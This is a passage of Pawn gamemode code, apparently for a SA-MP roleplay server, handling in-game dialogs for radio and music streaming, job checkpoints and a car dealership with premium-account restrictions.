					LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
		}
		else
		{
	   ShowPlayerDialog(playerid,4573,DIALOG_STYLE_LIST,"Food Shop","Food\t\nDrink","Select","Cancel");
		}
	}
	*/
	/*
	
	
	if(dialogid == 4575)
	{
		if(response)
		{
		  new cash = GetPlayerPool(playerid);
		  if(cash < 50) {
		  SCM(playerid, COLOR_YELLOW2, "Error: You don't have enough money.");
		  return 1; }
		  if(MizaneTeshnegi[playerid] == 10) return SCM(playerid, COLOR_YELLOW2, "Error: You are not greedy now.");
					new straav[25];
					format(straav , sizeof(straav) , ". . . . . . . . . .");
					PlayerTextDrawSetString(playerid, TeshnegiDarsad, straav);
					MizaneTeshnegi[playerid] = 10;
					GivePlayerPool(playerid, -50);
					LoopingAnim(playerid,"FOOD","EAT_Burger", 3.0, 0, 0, 0, 0, 0);
		}
		else
		{
	   ShowPlayerDialog(playerid,4573,DIALOG_STYLE_LIST,"Food Shop","Food\t\nDrink","Select","Cancel");
		}
	}
	*/
	
	/*
		  if(dialogid == 4573)
	{
	   if(response)
	   {
		   new stringxa[200];
		  if(listitem == 0)
		  {
			format(stringxa, sizeof(stringxa), "Are you sure you want to pay $100 and eat food?");
			ShowPlayerDialog(playerid, 4574, DIALOG_STYLE_MSGBOX, "Food", stringxa, "Yes", "Back");
			}
			if(listitem == 1)
			{
			format(stringxa, sizeof(stringxa), "Are you sure you want to pay $50 and drink water?");
			ShowPlayerDialog(playerid, 4575, DIALOG_STYLE_MSGBOX, "Food", stringxa, "Yes", "Back");
			}
	   }
	}
	
	*/
	
	  if(dialogid == 6553)
	{
	   if(response)
	   {
//		  new message[256+1];
		  if(listitem == 0)
		  {
			ShowPlayerDialog(playerid, 6552, DIALOG_STYLE_LIST, "Radio All", "Radio Party \nRadio Javan \nPONdENDS \nWild Rock \nThe Beat.NO", "Select", "Cancel");
			}
			if(listitem == 1)
			{
			new buyabler[1024];
			format(buyabler,sizeof(buyabler),"KARD - Oh Nana Bum Bum (Dj 6RB Remix) \t\nLuis Fonsi & Justin Bieber - Despacito \t\nINNA ft. J Balvin - Cola Song \t\nImagine Dragons - Believer \t\nHamed Zamani & Reza Helali - Emam Hosein \t\nMajid Eslahi - Eshghe Ki Boodi \t\nMasoud Sadeghloo - Nazdiki Be Man \t\nMasoud Sadeghloo - Akhare Shab \t\nNext Page ->");
			ShowPlayerDialog(playerid,6585,DIALOG_STYLE_LIST,"Saved Musics Page 1",buyabler,"Select","Cancel");
			}
			if(listitem == 2)
			{
			ShowPlayerDialog(playerid,6551,DIALOG_STYLE_INPUT,"Insert Music Link All","Insert your music URL","Select","Cancel");
			}
		  if(listitem == 3)
		  {
			for( new u; u < MAX_PLAYERS; u++ )
		  {
		  if(MusicAll[u] == 1)
		  {
		  StopAudioStreamForPlayer(u);
		   new audio[144];
			format(audio, sizeof(audio), "[INFO]: Music/Radio stopped by admin {FFFFFF}%s{b8ffdb}.", PINFO[playerid][pName]);
			SendClientMessage(u,  COLOR_Good, audio);
			MusicAll[u] = 0;
			}
		  }
			}
	   }
	}
	
	if(dialogid == 6585)
	{
	new audio[1024];
	new linkthem[144];
	if(response)
	{
	for( new u; u < MAX_PLAYERS; u++ )
	{
	if(listitem == 0) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/1.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}KARD - Oh Nana Bum Bum (Dj 6RB Remix){b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 1) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/2.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Luis Fonsi & Justin Bieber - Despacito{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 2) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/3.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}INNA ft. J Balvin - Cola Song{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 3) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/4.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Imagine Dragons - Believer{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 4) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/5.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Hamed Zamani & Reza Helali - Emam Hosein{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 5) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/6.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Majid Eslahi - Eshghe Ki Boodi{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 6) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/7.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Masoud Sadeghloo - Nazdiki Be Man{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 7) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/8.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Masoud Sadeghloo - Akhare Shab{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 8) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/9.mp3",RADIO_LINK);
	new buyabler[1024];
	format(buyabler,sizeof(buyabler),"JJ & Sijal & MJ ft. Khalse - Line Bazi \t\nMacan Band - Boro Daramet \t\nMacan Band - Divoone Bazi \t\nMacan Band - Shik \t\nMasih & Arash AP - Zadi Par \t\nBizzey & Traag ft. Jozo & Kraantje - Pappie \t\nEpiCure Band - Tekoon Bede \t\nHoorosh Band - Fasele Na \t\n<- Previous Page \t\nNext Page ->");
	ShowPlayerDialog(playerid,6586,DIALOG_STYLE_LIST,"Saved Musics Page 2",buyabler,"Select","Cancel");
	}
	
	}
	}
	}
	
	
	if(dialogid == 6586)
	{
	new audio[1024];
	new linkthem[144];
	if(response)
	{
	for( new u; u < MAX_PLAYERS; u++ )
	{
	if(listitem == 0) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/9.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}JJ & Sijal & MJ ft. Khalse - Line Bazi{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 1) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/10.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Macan Band - Boro Daramet{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 2) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/11.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Macan Band - Divoone Bazi{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 3) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/12.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Macan Band - Shik{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 4) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/13.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Masih & Arash AP - Zadi Par{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 5) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/14.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Bizzey & Traag ft. Jozo & Kraantje - Pappie{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 6) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/15.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}EpiCure Band - Tekoon Bede{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 7) {
		format(linkthem,sizeof(linkthem), "http://%s/Musics/16.mp3",RADIO_LINK);
	PlayAudioStreamForPlayer( u, linkthem);
	format(audio, sizeof(audio), "[INFO]: {FF0000}Hoorosh Band - Fasele Na{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
	SendClientMessage(u,  COLOR_Good, audio);
	MusicAll[u] = 1;
	}
	if(listitem == 8) {
	new buyabler[1024];
	format(buyabler,sizeof(buyabler),"KARD - Oh Nana Bum Bum (Dj 6RB Remix) \t\nLuis Fonsi & Justin Bieber - Despacito \t\nINNA ft. J Balvin - Cola Song \t\nImagine Dragons - Believer \t\nHamed Zamani & Reza Helali - Emam Hosein \t\nMajid Eslahi - Eshghe Ki Boodi \t\nMasoud Sadeghloo - Nazdiki Be Man \t\nMasoud Sadeghloo - Akhare Shab \t\nNext Page ->");
	ShowPlayerDialog(playerid,6585,DIALOG_STYLE_LIST,"Saved Musics Page 1",buyabler,"Select","Cancel");
	}
	if(listitem == 9) {
	new buyabler[1024];
	format(buyabler,sizeof(buyabler),"<- Previous Page");
	ShowPlayerDialog(playerid,6587,DIALOG_STYLE_LIST,"Saved Musics Page 3",buyabler,"Select","Cancel");
	}
	
	}
	}
	}
	
	
	
	
	
	if(dialogid == 6587)
	{
	if(response)
	{
	for( new u; u < MAX_PLAYERS; u++ )
	{
	if(listitem == 0) {
	new buyabler[1024];
	format(buyabler,sizeof(buyabler),"JJ & Sijal & MJ ft. Khalse - Line Bazi \t\nMacan Band - Boro Daramet \t\nMacan Band - Divoone Bazi \t\nMacan Band - Shik \t\nMasih & Arash AP - Zadi Par \t\nBizzey & Traag ft. Jozo & Kraantje - Pappie \t\nEpiCure Band - Tekoon Bede \t\nHoorosh Band - Fasele Na \t\n<- Previous Page \t\nNext Page ->");
	ShowPlayerDialog(playerid,6586,DIALOG_STYLE_LIST,"Saved Musics Page 2",buyabler,"Select","Cancel");
	}
	/*
	if(listitem == 0) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/9.mp3" );
	}
	if(listitem == 1) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/10.mp3" );
	}
	if(listitem == 2) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/11.mp3" );
	}
	if(listitem == 3) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/12.mp3" );
	}
	if(listitem == 4) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/13.mp3" );
	}
	if(listitem == 5) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/14.mp3" );
	}
	if(listitem == 6) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/15.mp3" );
	}
	if(listitem == 7) {
	PlayAudioStreamForPlayer( u, "http://185.236.36.39/Musics/16.mp3" );
	}
	if(listitem == 8) {
	format(buyabler,sizeof(buyabler),"JJ & Sijal & MJ ft. Khalse - Line Bazi \t\nMacan Band - Boro Daramet \t\nMacan Band - Divoone Bazi \t\nMacan Band - Shik \t\nMasih & Arash AP - Zadi Par \t\nBizzey & Traag ft. Jozo & Kraantje - Pappie \t\nEpiCure Band - Tekoon Bede \t\nHoorosh Band - Fasele Na \t\n<- Previous Page \t\nNext Page ->");
	ShowPlayerDialog(playerid,6586,DIALOG_STYLE_LIST,"Saved Musics Page 2",buyabler,"Select","Cancel");
	}
	if(listitem == 9) {
	format(buyabler,sizeof(buyabler),"<- Previous Page");
	ShowPlayerDialog(playerid,6587,DIALOG_STYLE_LIST,"Saved Musics Page 3",buyabler,"Select","Cancel");
	}
	*/
	}
	}
	}
	
	
	
	
	
	
		if(dialogid == 6552)
	{
	new audio[1024];
	   if(response)
	   {
		for( new u; u < MAX_PLAYERS; u++ )
	   {
		if(listitem == 0) {
		PlayAudioStreamForPlayer( u, "http://176.31.240.87:8000/listen.mp3" );
		format(audio, sizeof(audio), "[INFO]: {FF0000}Radio Party{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
		SendClientMessage(u,  COLOR_Good, audio);
		MusicAll[u] = 1;
		}
		if(listitem == 1) {
	   PlayAudioStreamForPlayer( u, "http://208.85.241.142" );
		format(audio, sizeof(audio), "[INFO]: {FF0000}Radio Javan{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
		SendClientMessage(u,  COLOR_Good, audio);
		MusicAll[u] = 1;
		}
		if(listitem == 2) {
	   PlayAudioStreamForPlayer( u, "http://s7.voscast.com:7000/listen.mp3" );
		format(audio, sizeof(audio), "[INFO]: {FF0000}PONdENDS{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
		SendClientMessage(u,  COLOR_Good, audio);
		MusicAll[u] = 1;
		}
		if(listitem == 3) {
	   PlayAudioStreamForPlayer( u, "http://64.150.176.87:8287/;43014706167063stream.nsv" );
		format(audio, sizeof(audio), "[INFO]: {FF0000}Wild Rock{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
		SendClientMessage(u,  COLOR_Good, audio);
		}
		if(listitem == 4) {
	   PlayAudioStreamForPlayer( u, "http://stream.thebeat.no/stram" );
		format(audio, sizeof(audio), "[INFO]: {FF0000}The Beat.NO{b8ffdb} was played by admin {FF0000}%s{b8ffdb}.", PINFO[playerid][pName]);
		SendClientMessage(u,  COLOR_Good, audio);
		}

		}
	}
	}
	
	

	if(dialogid == 6551)
	{
		  if(!response)return 1;
          if (strfind(inputtext, "http", true))
          {
          ShowPlayerDialog(playerid,6541,DIALOG_STYLE_INPUT,"Insert Music Link All","{ff0000}Your URL should start with http://\n{A9C4E4}Insert your music link","Select","Cancel");
          return 1;
          }
		  else if(strlen(inputtext) < 64 || strlen(inputtext) > 0)
		  {
			for( new u; u < MAX_PLAYERS; u++ )
		  {
		  PlayAudioStreamForPlayer(u, inputtext);

		   new audio[1024];
			format(audio, sizeof(audio), "[INFO]: Admin {FFFFFF}%s{b8ffdb} inserted a music link for all.", PINFO[playerid][pName]);
			SendClientMessage(u,  COLOR_Good, audio);
			MusicAll[u] = 1;
			}


			return 1;
			}
		return 1;
}
	
	
	
	
	
	
	if(dialogid == 6541)
	{
		  if(!response)return 1;
		  if(strlen(inputtext) < 64 || strlen(inputtext) > 0)
		  {
		  if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
          if (strfind(inputtext, "http", true))
          {
          ShowPlayerDialog(playerid,6541,DIALOG_STYLE_INPUT,"Music URL","{ff0000}Your URL should start with http://\n{A9C4E4}Insert your music link","Select","Cancel");
          return 1;
          }
		  for(new i = 0;i<Akharish;i++)
			{
		  if(IsPlayerConnected(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid)) {
			PlayAudioStreamForPlayer(i, inputtext);
			new reset[1024];
		  format(reset, sizeof(reset), "[VEHICLE]: The music link was inserted by driver %s.", PINFO[playerid][pName]);
		  SendClientMessage(i,  COLOR_YELLOW2, reset);
			CarRadioPlayed[i] = true;
			new veh = GetPlayerVehicleID(i);
            strcpy(VehLink[veh],inputtext,64);
            VehLinkDare[veh] = 1;
			}
			}

			return 1;
			}
		return 1;
}



	if(dialogid == 6542)
	{
	   if(response)
	   {
		if(!IsPlayerInAnyVehicle(playerid)) return SCM(playerid, COLOR_YELLOW2, "Error: You aren't in any vehicle.");
		if(listitem == 0) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(CarRadio[GetPlayerVehicleID(playerid)], 600, "http://176.31.240.87:8000/listen.mp3");
		}
		if(listitem == 1) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(CarRadio[GetPlayerVehicleID(playerid)], 600, "http://208.85.241.142");
		}
		if(listitem == 2) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(CarRadio[GetPlayerVehicleID(playerid)], 600, "http://s7.voscast.com:7000/listen.mp3");
		}
		if(listitem == 3) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(CarRadio[GetPlayerVehicleID(playerid)], 600, "http://64.150.176.87:8287/;43014706167063stream.nsv");
		}
		if(listitem == 4) {
		if(PlayerInfo[playerid][pPremiumAccount] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(CarRadio[GetPlayerVehicleID(playerid)], 600, "http://stream.thebeat.no/stram");
		}
		for(new i = 0;i<Akharish;i++)
		{
		if(IsPlayerConnected(i) && GetPlayerVehicleID(i) == GetPlayerVehicleID(playerid)) {
		PlayAudioStreamForPlayer(i, CarRadio[GetPlayerVehicleID(playerid)]);
		new reset[1024];
	   format(reset, sizeof(reset), "[VEHICLE]: The music link was inserted by driver %s.", PINFO[playerid][pName]);
	   SendClientMessage(i,  COLOR_YELLOW2, reset);
		CarRadioPlayed[i] = true;
		 }
		}

		}
	}
	if(dialogid == 6544)
	{
	   if(response)
	   {
//		  new message[256+1];
		  if(listitem == 0)
		  {
			ShowPlayerDialog(playerid, 6545, DIALOG_STYLE_LIST, "Car Radio", "Radio Party \nRadio Javan \nPONdENDS \nWild Rock \nThe Beat.NO", "Select", "Cancel");
			}
			if(listitem == 1)
			{
			if(PlayerInfo[playerid][pPremiumAccount] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
			ShowPlayerDialog(playerid,6546,DIALOG_STYLE_INPUT,"URL :","Insert Your Music URL / Start With http://","Select","Cancel");
			}
	   }
	}
	if(dialogid == 6546)
	{
		  if(!response)
		  {

		  }
		  else if(strlen(inputtext) < 64 || strlen(inputtext) > 0)
		  {
			PlayAudioStreamForPlayer(playerid, inputtext);
			HeadphoneData[playerid][Sound] = true;
			}

			return 1;
			}
	if(dialogid == 6545)
	{
	   if(response)
	   {
		new sxz[600];
		if(listitem == 0) {
		format(sxz, 600, "http://176.31.240.87:8000/listen.mp3");
		}
		if(listitem == 1) {
		if(PlayerInfo[playerid][pPremiumAccount] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(sxz, 600, "http://208.85.241.142");
		}
		if(listitem == 2) {
		if(PlayerInfo[playerid][pPremiumAccount] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(sxz, 600, "http://s7.voscast.com:7000/listen.mp3");
		}
		if(listitem == 3) {
		if(PlayerInfo[playerid][pPremiumAccount] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(sxz, 600, "http://64.150.176.87:8287/;43014706167063stream.nsv");
		}
		if(listitem == 4) {
		if(PlayerInfo[playerid][pPremiumAccount] != 1) return SCM(playerid, COLOR_YELLOW2, "Error: You haven't premium account.");
		format(sxz, 600, "http://stream.thebeat.no/stram");
		}
		PlayAudioStreamForPlayer(playerid, sxz);
		HeadphoneData[playerid][Sound] = true;
		}
	}
	if(dialogid == 1298)
	{
	   if(response)
	   {
	if(OnCheckpoint[playerid] == 1)
	{
	SCM(playerid,COLOR_LIGHTRED,"You already have an enable checkpoint.");
	return 1;
	}
		  new message[256+1];
		  if(listitem == 0)
		  {
		  format(message, 256, "You selected Los Santos Bus location, i give you a Checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  SetPlayerCheckpoint(playerid, 1765.061889,-2031.958862,14.048107, 3);
		  CP[playerid] = 54659;
		  }
		  if(listitem == 1)
		  {
			format(message, 256, "You selected Las ventarus Bus location, i give you a Checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  SetPlayerCheckpoint(playerid, 1909.430297,2351.376453,10.979915, 3);
		  CP[playerid] = 54660;
			return 1;
		  }
	   }
	}
	if(dialogid == 1299)
	{
	   if(response)
	   {
	if(OnCheckpoint[playerid] == 1)
	{
	SCM(playerid,COLOR_LIGHTRED,"You already have an enable checkpoint.");
	return 1;
	}
	new message[256+1];
		  if(listitem == 0)
		  {
		  format(message, 256, "You selected Farmer job 1 location, i give you a Checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  SetPlayerCheckpoint(playerid,-382.6660,-1426.5121,26.2410, 3);
		  CP[playerid] = 54680;
		  }
		  if(listitem == 1)
		  {
		  format(message, 256, "You selected Farmer job 2 location, i give you a Checkpoint to follow this job", listitem);
		  SendMessage(playerid, 0xFFFFFFFF, message);
		  OnCheckpoint[playerid] = 1;
		  SetPlayerCheckpoint(playerid,-1061.110107,-1195.576660,129.728820, 3);
		  CP[playerid] = 54689;
			return 1;
		  }
	   }
	}
	if(dialogid == 1666 && response == 1) // Dealership main
	{
	   ShowPlayerDialog(playerid, 1667, DIALOG_STYLE_INPUT,"Dealership","Insert a Vehicle ID To Buy","Choose","Close");
	   return 1;
	}
	if(dialogid == 2066 && response == 1) {
	new want = IWantCar[playerid];
	   if(want == 411 || want == 402 || want == 415 || want == 429 || want == 475 || want == 477 || want == 496 || want == 506 || want == 541)
	   {
		  if(PINFO[playerid][pPremiumAccount] <= 0)
		  {
			 new rouuz[256];
			 new vehk = IWantCar[playerid] - 400;
			 format(rouuz,256,"DealerShip: You can't buy a %s because you haven't a Premium account,",aVehicleNames[vehk]);
			 SCM(playerid,COLOR_SINA3,rouuz);
			 format(rouuz, sizeof(rouuz), "DealerShip: if you want to have a Premium account, see %s %s forum(/forum).", SERVER_NAME1, SERVER_NAME2);
			 SCM(playerid,COLOR_MAMAD,rouuz);
			 return 1;
		  }
	   }
	   if(want == 558 || want == 559 || want == 565 || want == 587 || want == 602 || want == 494 || want == 502 || want == 503)
	   {
		  if(PINFO[playerid][pPremiumAccount] <= 0)
		  {
			 new rouuz[256];
			 new vehk = IWantCar[playerid] - 400;
			 format(rouuz,256,"DealerShip: You can't buy a %s because you haven't a Premium account,",aVehicleNames[vehk]);
			 SCM(playerid,COLOR_SINA3,rouuz);
			 format(rouuz, sizeof(rouuz), "DealerShip: if you want to have a Premium account, see %s %s forum(/forum).", SERVER_NAME1, SERVER_NAME2);
			 SCM(playerid,COLOR_MAMAD,rouuz);
			 return 1;
		  }
	   }
		if(want == 564 || want == 441 || want == 465 || want == 501 || want == 464)
	   {
		  if(PINFO[playerid][pPremiumAccount] < 1)
		  {
			 new rouuz[256];
			 new vehk = IWantCar[playerid] - 400;
			 format(rouuz,256,"DealerShip: You can't buy a %s because you haven't premium account.",aVehicleNames[vehk]);
			 SCM(playerid,COLOR_SINA3,rouuz);
			 format(rouuz, sizeof(rouuz), "DealerShip: if you want to have a Premium account, see %s %s forum(/forum).", SERVER_NAME1, SERVER_NAME2);
			 SCM(playerid,COLOR_MAMAD,rouuz);
			 return 1;
		  }
	   }
	   new price = PriceCar[playerid];
	   if(GetPlayerPool(playerid) >= price)
	   {
				if(PlayerInfo[playerid][pVeh1] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
             SetVehicleNumberPlate(carid, "NewVeh");
             SetVehicleToRespawn(carid);
			 new sendername[MAX_PLAYER_NAME];


				GetIDVeh(playerid,1,car,VehModKharid[playerid]);

				PlayerInfo[playerid][pCar_1] = carid;
			 SaveKonVal(playerid, "pCar_1", carid);



			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
		  else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
			 else if(VehModKharid[playerid] == 1) carid = CreateVehicle(car, 727.059692, -1529.186889, 0.101168, 180.0, 1, 1,-1);
			 else if(VehModKharid[playerid] == 2) carid = CreateVehicle(car, 1520.529541, -2464.192871, 13.760436, 180.0, 1, 1,-1);
			 new sendername[MAX_PLAYER_NAME];

				PlayerInfo[playerid][pCar_2] = carid;
			 SaveKonVal(playerid, "pCar_2", carid);


				GetIDVeh(playerid,2,car,VehModKharid[playerid]);


			 GetPlayerName(playerid, sendername, sizeof(sendername));
			 GivePlayerPool(playerid, -price);
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;

			 PlayerPlayMusic(playerid);
			 new mod = IWantCar[playerid] - 400;
			 new ali2[256];
			 format(ali2,256,"Congratulation with your %s.",aVehicleNames[mod]);
			 SCM(playerid,COLOR_SINA3,ali2);
			 SendMessage(playerid, COLOR_LIGHTBLUE, "Type: /carhelp to view the car commands.");

			 new Float:x,Float:y,Float:z;
			 GetVehiclePos(carid, x, y, z);
			 if(OnCheckpoint[playerid] == 0)
			 {
				OnCheckpoint[playerid] = 1;
				SetPlayerCheckpoint(playerid, x, y, z, 6);
				locatemashin[playerid] = 2;
			 }
			 else
			 {
				SCM(playerid,COLOR_Good,"You already have an enable checkpoint.");
			 }
			 PlayerPlaySound(playerid, 1054, 0.0, 0.0, 10.0)
			 gEngine[playerid] = 0;
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 EngineSTATE[carid] = 0;
			 Benzin[carid] = 100;
			 SetVehicleHealth(carid, 1000.0);

			 //SaveAccount(playerid);
			 return 1;
		  }
			else if(PlayerInfo[playerid][pVeh1] != 0 && PlayerInfo[playerid][pVeh2] != 0 && PlayerInfo[playerid][pVeh3] == 0)
		  {
			 new car = IWantCar[playerid];
			 new carid;
			 if(VehModKharid[playerid] == 0) carid = CreateVehicle(car, 294.4691, -1540.4004, 24.2438, 54.5325, 1, 1,-1);
